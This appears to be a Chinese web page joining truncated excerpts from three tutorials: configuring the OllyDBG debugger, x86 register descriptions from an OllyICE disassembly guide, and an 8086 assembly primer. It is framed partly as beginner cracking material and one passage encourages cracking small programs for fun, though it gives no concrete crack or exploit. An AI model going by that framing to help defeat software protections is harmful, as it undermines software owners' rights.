关键词:OD、OllyDBG、破解入门、调试专用工具、反汇编 一、OllyDBG 的安装与配置 OllyDBG 1.10 版的发布版本是个 ZIP 压缩包,只要解压到一个目录下,运行 OllyDBG.exe 就可以了。汉化版的发布版本是个 RAR 压缩包,同样只需解压到一个目录下运行 OllyDBG.exe 即可: OllyDBG 中各个窗口的功能如上图。简单解释一下各个窗口的功能,更详细的内容可以参考 TT 小组翻译的中文帮助: 反汇编窗口:显示被调试程序的反汇编代码,标题栏上的地址、HEX 数据、反汇编、注释可以通过在窗口中右击出现的菜单界面选项->隐藏标题或显示标题来进行切换是否显示。用鼠标左键点击注释标签可以切换注释显示的方式。

寄存器窗口:显示当前所选线程的 CPU 寄存器内容。同样点击标签寄存器 (FPU) 可以切换显示寄存器的方式。 信息窗口:显示反汇编窗口中选中的第一个命令的参数及一些跳转目标地址、字串等。 数据窗口:显示内存或文件的内容。右键菜单可用于切换显示方式。 堆栈窗口:显示当前线程的堆栈。 要调整上面各个窗口的大小的话,只需左键按住边框拖动,等调整好了,重新启动一下 OllyDBG 就可以生效了。 启动后我们要把插件及 UDD 的目录配置为绝对路径,点击菜单上的选项->界面,将会出来一个界面选项的对话框,我们点击其中的目录标签: 因为我这里是把 OllyDBG 解压在 F:\OllyDBG 目录下,所以相应的 UDD 目录及插件目录按图上配置。还有一个常用到的标签就是上图后面那个字体,在这里你可以更改 OllyDBG 中显示的字体。上图中其它的选项可以保留为默认,若有需要也可以自己修改。修改完以后点击确定,弹出一个对话框,说我们更改了插件路径,要重新启动 OllyDBG。在这个对话框上点确定,重新启动一下 OllyDBG,我们再到界面选项中看一下,会发现我们原先设置好的路径都已保存了。有人可能知道插件的作用,但对那个 UDD 目录

OllyICE反汇编教程及汇编命令详解

OllyICE反汇编教程及汇编命令详解[转] 2009-02-11 08:09 OllyICE反汇编教程及汇编命令详解 内容目录 计算机寄存器分类简介 计算机寄存器常用指令 一、常用指令 二、算术运算指令 三、逻辑运算指令 四、串指令 五、程序跳转指令 ------------------------------------------ 计算机寄存器分类简介: 32位CPU所含有的寄存器有: 4个数据寄存器(EAX、EBX、ECX和EDX) 2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP) 6个段寄存器(ES、CS、SS、DS、FS和GS) 1个指令指针寄存器(EIP) 1个标志寄存器(EFlags) 1、数据寄存器 数据寄存器主要用来保存操作数和运算结果等信息,从而节省读取操作数所需占用总线和访问存储器的时间。 32位CPU有4个32位的通用寄存器EAX、EBX、ECX和EDX。 对低16位数据的存取,不会影响高16位的数据。 这些低16位寄存器分别命名为:AX、BX、CX和DX,它和先前的CPU中的寄存器相一致。4个16位寄存器又可分割成8个独立的8位寄存器(AX:AH-AL、BX:BH-BL、CX:CH-CL、DX:DH-DL),每个寄存器都有自己的名称,可独立存取。 程序员可利用数据寄存器的这种“可分可合”的特性,灵活地处理字/字节的信息。 寄存器EAX通常称为累加器(Accumulator),用累加器进行的操作可能需要更少时间。可用于乘、除、输入/输出等操作,使用频率很高; 寄存器EBX称为基地址寄存器(Base Register)。它可作为存储器指针来使用; 寄存器ECX称为计数寄存器(Count Register)。 在循环和字符串操作时,要用它来控制循环次数;在位操作中,当移多位时,要用CL来指明移位的位数; 寄存器EDX称为数据寄存器(Data Register)。在进行乘、除运算时,它可作为默认的操作数参与运算,也可用于存放I/O的端口地址。 在16位CPU中,AX、BX、CX和DX不能作为基址和变址寄存器来存放存储单元的地址,在32位CPU中,其32位寄存器EAX、EBX、ECX和EDX不仅可传送数据、暂存数据保存算术逻辑运算结果, 而且也可作为指针寄存器,所以,这些32位寄存器更具有通用性。 2、变址寄存器 32位CPU有2个32位通用寄存器ESI和EDI。 其低16位对应先前CPU中的SI和DI,对低16位数据的存取,不影响高16位的数据。 寄存器ESI、EDI、SI和DI称为变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量,

汇编语言入门

汇编语言入门教程 对初学者而言,汇编的许多命令太复杂,往往学习很长时间也写不出一个漂漂亮亮的程序,以致妨碍了我们学习汇编的兴趣,不少人就此放弃。所以我个人看法学汇编,不一定要写程序,写程序确实不是汇编的强项,大家不妨玩玩DEBUG,有时CRACK出一个小软件比完成一个程序更有成就感(就像学电脑先玩游戏一样)。某些高深的指令事实上只对有经验的汇编程序员有用,对我们而言,太过高深了。为了使学习汇编语言有个好的开始,你必须要先排除那些华丽复杂的命令,将注意力集中在最重要的几个指令上(CMP LOOP MOV JNZ……)。但是想在啰里吧嗦的教科书中完成上述目标,谈何容易,所以本人整理了这篇超浓缩(用WINZIP、WINRAR…依次压迫,嘿嘿!)教程。大言不惭的说,看通本文,你完全可以“不经意”间在前辈或是后生卖弄一下DEBUG,很有成就感的,试试看!那么――这个接下来呢?――Here we go!(阅读时看不懂不要紧,下文必有分解) 因为汇编是通过CPU和内存跟硬件对话的,所以我们不得不先了解一下CPU和内存:(关于数的进制问题在此不提) CPU是可以执行电脑所有算术╱逻辑运算与基本I/O 控制功能的一块芯片。一种汇编语言只能用于特定的CPU。也就是说,不同的CPU其汇编语言的指令语法亦不相同。个人电脑由1981年推出至今,其CPU发展过程为:8086→80286→80386→80486→PENTIUM →……,还有AMD、CYRIX等旁支。后面兼容前面CPU的功能,只不过多了些指令(如多能奔腾的MMX指令集)、增大了寄存器(如386的32位EAX)、增多了寄存器(如486的FS)。为确保汇编程序可以适用于各种机型,所以推荐使用8086汇编语言,其兼容性最佳。本文所提均为8086汇编语言。寄存器(Register)是CPU内部的元件,所以在寄存器之间的数据传送非常快。用途:1.可将寄存器内的数据执行算术及逻辑运算。2.存于寄存器内的地址可用来指向内存的某个位置,即寻址。3.可以用来读写数据到电脑的周边设备。8086 有8个8位数据寄存器,这些8位寄存器可分别组成16位寄存器:AH&AL=AX:累加寄存器,常用于运算;BH&BL=BX:基址寄存器,常用于地址索引;CH&CL=CX:计数寄存器,常用于计数;DH&DL=DX:数据寄存器,常用于数据传递。为了运用所有的内存空间,8086设定了四个段寄存器,专门用来保存段地址:CS(Code Segment):代码段寄存器;DS(Data Segment):数据段寄存器;SS(Stack Segment):堆栈段寄存器;ES(Extra Segment):附加段寄存器。当一个程序要执行时,就要决定程序代码、数据和堆栈各要用到内存的哪些位置,通过设定段寄存器CS,DS,SS 来指向这些起始位置。通常是将DS固定,而根据需要修改CS。所以,程序可以在可寻址空间小于64K的情况下被写成任意大小。所以,程序和其数据组合起来的大小,限制在DS 所指的64K内,这就是COM文件不得大于64K的原因。8086以内存做为战场,用寄存器做为军事基地,以加速工作。除了前面所提的寄存器外,还有一些特殊功能的寄存器:IP(Intruction Pointer):指令指针寄存器,与CS配合使用,可跟踪程序的执行过程;SP(Stack Pointer):堆栈指针,与SS配合使用,可指向目前的堆栈位置。BP(Base Pointer):基址指针寄存器,可用作SS 的一个相对基址位置;SI(Source Index):源变址寄存器可用来存放相对于DS段之源变址指针;DI(Destination Index):目的变址寄存器,可用来存放相对于ES 段之目的变址指针。还有一个标志寄存器FR(Flag Register),有九个有意义的标志,将在下文用到时详细说明。 内存是电脑运作中的关键部分,也是电脑在工作中储存信息的地方。内存组织有许多可存放

相关文档
相关文档 最新文档